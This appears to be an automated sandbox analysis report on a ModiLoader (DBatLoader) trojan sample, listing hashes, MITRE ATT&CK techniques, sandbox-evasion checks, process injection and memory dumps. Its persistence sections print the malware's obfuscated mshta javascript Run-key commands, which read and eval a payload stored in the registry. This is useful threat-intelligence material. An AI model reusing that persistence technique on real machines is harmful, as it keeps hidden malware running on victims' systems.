modiloader | 8bbf0cc7a58bfbdf4728c6a44530d936a85ded6d761dbc2b36f2c9287fb3a26c

General

Target

8bbf0cc7a58bfbdf4728c6a44530d936a85ded6d761dbc2b36f2c9287fb3a26c.exe
Size

611KB
MD5

9b37f6330c4cb8119ab2d44f539529d1
SHA1

7f5d587ae677ca2b2876b11e440b94e5856c5867
SHA256

8bbf0cc7a58bfbdf4728c6a44530d936a85ded6d761dbc2b36f2c9287fb3a26c
SHA512

540ba654265b18e41b3f6171e5a5ab1a359c1274eabc6d6d6cea7aa754e7793dd0037296cf13e3a596b9d0583ee21643b843010d5895768db4f11fd9fd2f2101
SSDEEP

12288:xCt0rNxL4pN7m7iH6Zc6UeRHJIixMV2O80:YANP7iaJUaHJIil0

Score

10^/10

modiloader evasion persistence trojan

Malware Config

Signatures

ModiLoader, DBatLoader
ModiLoader is a Delphi loader that misuses cloud services to download other malicious families.
trojan modiloader
Checks for common network interception software 1 TTPs
Looks in the registry for tools like Wireshark or Fiddler commonly used to analyze network activity.
evasion

Software Discovery
T1518
Looks for VirtualBox Guest Additions in registry 2 TTPs 1 IoCs
evasion

Query Registry
T1012

Virtualization/Sandbox Evasion
T1497

Processes:

svchost.exe

description ioc process

Key opened \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Oracle\VirtualBox Guest Additions svchost.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Oracle\VirtualBox Guest Additions	svchost.exe

ModiLoader Second Stage 11 IoCs

Processes:

resource	yara_rule
behavioral2/memory/3356-133-0x0000000000400000-0x000000000049E000-memory.dmp	modiloader_stage2
behavioral2/memory/3356-135-0x0000000000060000-0x000000000011E000-memory.dmp	modiloader_stage2
behavioral2/memory/3356-138-0x0000000000060000-0x000000000011E000-memory.dmp	modiloader_stage2
behavioral2/memory/1828-139-0x0000000000A00000-0x0000000000ABE000-memory.dmp	modiloader_stage2
behavioral2/memory/1828-142-0x0000000000A00000-0x0000000000ABE000-memory.dmp	modiloader_stage2
behavioral2/memory/2636-144-0x0000000000D20000-0x0000000000DDE000-memory.dmp	modiloader_stage2
behavioral2/memory/2636-145-0x0000000000D20000-0x0000000000DDE000-memory.dmp	modiloader_stage2
behavioral2/memory/1652-148-0x0000000000600000-0x00000000006BE000-memory.dmp	modiloader_stage2
behavioral2/memory/2408-151-0x0000000000850000-0x000000000090E000-memory.dmp	modiloader_stage2
behavioral2/memory/2408-152-0x0000000000850000-0x000000000090E000-memory.dmp	modiloader_stage2
behavioral2/memory/1652-153-0x0000000000600000-0x00000000006BE000-memory.dmp	modiloader_stage2

Adds policy Run key to start application 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

T1112

Processes:

svchost.exe

description	ioc	process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run\ = "mshta javascript:r9WAba1g=\"jlI2jhq\";T6F8=new%20ActiveXObject(\"WScript.Shell\");VZhng5G=\"vgBMn\";S3WG7D=T6F8.RegRead(\"HKLM\\\\software\\\\Wow6432Node\\\\eced590c\\\\fddd7bd9\");FEaGO48h=\"1Wd36\";eval(S3WG7D);efhk35nGCY=\"n\";"	svchost.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run	svchost.exe

Looks for VMWare Tools registry key 2 TTPs 1 IoCs
evasion

Query Registry
T1012

Virtualization/Sandbox Evasion
T1497

Processes:

svchost.exe

description ioc process

Key opened \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\VMware, Inc.\VMware Tools svchost.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\VMware, Inc.\VMware Tools	svchost.exe

Checks BIOS information in registry 2 TTPs 2 IoCs

BIOS information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

svchost.exe

description	ioc	process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	svchost.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	svchost.exe

Adds Run key to start application 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

T1112

Processes:

svchost.exe

description	ioc	process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run\ = "mshta javascript:UwA8l0qD=\"vCfZxa\";Mv5=new%20ActiveXObject(\"WScript.Shell\");o0RFVJqh0=\"PWWOAVcZq\";q3agN=Mv5.RegRead(\"HKLM\\\\software\\\\Wow6432Node\\\\eced590c\\\\fddd7bd9\");z0YeGmHy=\"GZfz\";eval(q3agN);YG0xSkG=\"EbmIn\";"	svchost.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\ = "mshta javascript:dAm0yZxso=\"lAGkAEb\";H6S3=new%20ActiveXObject(\"WScript.Shell\");MCtDt6Zr=\"4g5YAy\";IS8on0=H6S3.RegRead(\"HKCU\\\\software\\\\eced590c\\\\fddd7bd9\");Bwi4HZIE=\"hu85ppbLPB\";eval(IS8on0);Jkfwb27vCw=\"su\";"	svchost.exe

Maps connected drives based on registry 3 TTPs 2 IoCs

Disk information is often read in order to detect sandboxing environments.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

Processes:

svchost.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Disk\Enum	svchost.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\disk\Enum\0	svchost.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Modifies Internet Explorer settings 1 TTPs 10 IoCs

adware spyware

Modify Registry

T1112

Processes:

svchost.exe

description	ioc	process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_BROWSER_EMULATION\svchost.exe = "0"	svchost.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_BROWSER_EMULATION\explorer.exe = "0"	svchost.exe
Key created	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000\SOFTWARE\Microsoft\Internet Explorer\Main\FeatureControl	svchost.exe
Key created	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000\SOFTWARE\Microsoft\Internet Explorer\International	svchost.exe
Key created	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000\SOFTWARE\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_BROWSER_EMULATION	svchost.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000\SOFTWARE\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_BROWSER_EMULATION\svchost.exe = "0"	svchost.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000\SOFTWARE\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_BROWSER_EMULATION\explorer.exe = "0"	svchost.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000\SOFTWARE\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_BROWSER_EMULATION\iexplore.exe = "0"	svchost.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_BROWSER_EMULATION	svchost.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_BROWSER_EMULATION\iexplore.exe = "0"	svchost.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

Processes:

svchost.exe

pid	process
2636	svchost.exe
2636	svchost.exe
2636	svchost.exe
2636	svchost.exe
2636	svchost.exe
2636	svchost.exe
2636	svchost.exe
2636	svchost.exe
2636	svchost.exe
2636	svchost.exe
2636	svchost.exe
2636	svchost.exe
2636	svchost.exe
2636	svchost.exe
2636	svchost.exe
2636	svchost.exe
2636	svchost.exe
2636	svchost.exe
2636	svchost.exe
2636	svchost.exe
2636	svchost.exe
2636	svchost.exe
2636	svchost.exe
2636	svchost.exe
2636	svchost.exe
2636	svchost.exe
2636	svchost.exe
2636	svchost.exe
2636	svchost.exe
2636	svchost.exe
2636	svchost.exe
2636	svchost.exe
2636	svchost.exe
2636	svchost.exe
2636	svchost.exe
2636	svchost.exe
2636	svchost.exe
2636	svchost.exe
2636	svchost.exe
2636	svchost.exe
2636	svchost.exe
2636	svchost.exe
2636	svchost.exe
2636	svchost.exe
2636	svchost.exe
2636	svchost.exe
2636	svchost.exe
2636	svchost.exe
2636	svchost.exe
2636	svchost.exe
2636	svchost.exe
2636	svchost.exe
2636	svchost.exe
2636	svchost.exe
2636	svchost.exe
2636	svchost.exe
2636	svchost.exe
2636	svchost.exe
2636	svchost.exe
2636	svchost.exe
2636	svchost.exe
2636	svchost.exe
2636	svchost.exe
2636	svchost.exe

Suspicious behavior: MapViewOfSection 8 IoCs

Processes:

8bbf0cc7a58bfbdf4728c6a44530d936a85ded6d761dbc2b36f2c9287fb3a26c.exesvchost.exesvchost.exe

pid	process
3356	8bbf0cc7a58bfbdf4728c6a44530d936a85ded6d761dbc2b36f2c9287fb3a26c.exe
3356	8bbf0cc7a58bfbdf4728c6a44530d936a85ded6d761dbc2b36f2c9287fb3a26c.exe
1828	svchost.exe
1828	svchost.exe
2636	svchost.exe
2636	svchost.exe
2636	svchost.exe
2636	svchost.exe

Suspicious use of WriteProcessMemory 12 IoCs

Processes:

8bbf0cc7a58bfbdf4728c6a44530d936a85ded6d761dbc2b36f2c9287fb3a26c.exesvchost.exesvchost.exe

description	pid	process	target process
PID 3356 wrote to memory of 1828	3356	8bbf0cc7a58bfbdf4728c6a44530d936a85ded6d761dbc2b36f2c9287fb3a26c.exe	svchost.exe
PID 3356 wrote to memory of 1828	3356	8bbf0cc7a58bfbdf4728c6a44530d936a85ded6d761dbc2b36f2c9287fb3a26c.exe	svchost.exe
PID 3356 wrote to memory of 1828	3356	8bbf0cc7a58bfbdf4728c6a44530d936a85ded6d761dbc2b36f2c9287fb3a26c.exe	svchost.exe
PID 1828 wrote to memory of 2636	1828	svchost.exe	svchost.exe
PID 1828 wrote to memory of 2636	1828	svchost.exe	svchost.exe
PID 1828 wrote to memory of 2636	1828	svchost.exe	svchost.exe
PID 2636 wrote to memory of 1652	2636	svchost.exe	svchost.exe
PID 2636 wrote to memory of 1652	2636	svchost.exe	svchost.exe
PID 2636 wrote to memory of 1652	2636	svchost.exe	svchost.exe
PID 2636 wrote to memory of 2408	2636	svchost.exe	svchost.exe
PID 2636 wrote to memory of 2408	2636	svchost.exe	svchost.exe
PID 2636 wrote to memory of 2408	2636	svchost.exe	svchost.exe

C:\Users\Admin\AppData\Local\Temp\8bbf0cc7a58bfbdf4728c6a44530d936a85ded6d761dbc2b36f2c9287fb3a26c.exe
"C:\Users\Admin\AppData\Local\Temp\8bbf0cc7a58bfbdf4728c6a44530d936a85ded6d761dbc2b36f2c9287fb3a26c.exe"
1⤵
- Suspicious behavior: MapViewOfSection
- Suspicious use of WriteProcessMemory
PID:3356

C:\Windows\SysWOW64\svchost.exe
svchost.exe
2⤵
- Suspicious behavior: MapViewOfSection
- Suspicious use of WriteProcessMemory
PID:1828

C:\Windows\SysWOW64\svchost.exe
svchost.exe
3⤵
- Looks for VirtualBox Guest Additions in registry
- Adds policy Run key to start application
- Looks for VMWare Tools registry key
- Checks BIOS information in registry
- Adds Run key to start application
- Maps connected drives based on registry
- Modifies Internet Explorer settings
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of WriteProcessMemory
PID:2636

C:\Windows\SysWOW64\svchost.exe
"C:\Windows\SysWOW64\svchost.exe"
4⤵
PID:1652

C:\Windows\SysWOW64\svchost.exe
"C:\Windows\SysWOW64\svchost.exe"
4⤵
PID:2408

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Registry Run Keys / Startup Folder

2

T1060

Privilege Escalation

Defense Evasion

Modify Registry

3

T1112

Virtualization/Sandbox Evasion

2

T1497

Credential Access

Discovery

Peripheral Device Discovery

Query Registry

Software Discovery

System Information Discovery

3

T1082

Virtualization/Sandbox Evasion

2

T1497

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/1652-146-0x0000000000000000-mapping.dmp

Download
memory/1652-153-0x0000000000600000-0x00000000006BE000-memory.dmp

Filesize
760KB

Download
memory/1652-148-0x0000000000600000-0x00000000006BE000-memory.dmp

Filesize
760KB

Download
memory/1652-147-0x0000000000BB0000-0x0000000000BBE000-memory.dmp

Filesize
56KB

Download
memory/1828-142-0x0000000000A00000-0x0000000000ABE000-memory.dmp

Filesize
760KB

Download
memory/1828-136-0x0000000000000000-mapping.dmp

Download
memory/1828-139-0x0000000000A00000-0x0000000000ABE000-memory.dmp

Filesize
760KB

Download
memory/1828-140-0x0000000000BB0000-0x0000000000BBE000-memory.dmp

Filesize
56KB

Download
memory/2408-152-0x0000000000850000-0x000000000090E000-memory.dmp

Filesize
760KB

Download
memory/2408-151-0x0000000000850000-0x000000000090E000-memory.dmp

Filesize
760KB

Download
memory/2408-150-0x0000000000BB0000-0x0000000000BBE000-memory.dmp

Filesize
56KB

Download
memory/2408-149-0x0000000000000000-mapping.dmp

Download
memory/2636-141-0x0000000000000000-mapping.dmp

Download
memory/2636-145-0x0000000000D20000-0x0000000000DDE000-memory.dmp

Filesize
760KB

Download
memory/2636-144-0x0000000000D20000-0x0000000000DDE000-memory.dmp

Filesize
760KB

Download
memory/2636-143-0x0000000000BB0000-0x0000000000BBE000-memory.dmp

Filesize
56KB

Download
memory/3356-135-0x0000000000060000-0x000000000011E000-memory.dmp

Filesize
760KB

Download
memory/3356-134-0x0000000002BD0000-0x0000000002D32000-memory.dmp

Filesize
1.4MB

Download
memory/3356-132-0x0000000002BD0000-0x0000000002D32000-memory.dmp

Filesize
1.4MB

Download
memory/3356-137-0x0000000002BD0000-0x0000000002D32000-memory.dmp

Filesize
1.4MB

Download
memory/3356-138-0x0000000000060000-0x000000000011E000-memory.dmp

Filesize
760KB

Download
memory/3356-133-0x0000000000400000-0x000000000049E000-memory.dmp

Filesize
632KB

Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v6

Replay Monitor

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Downloads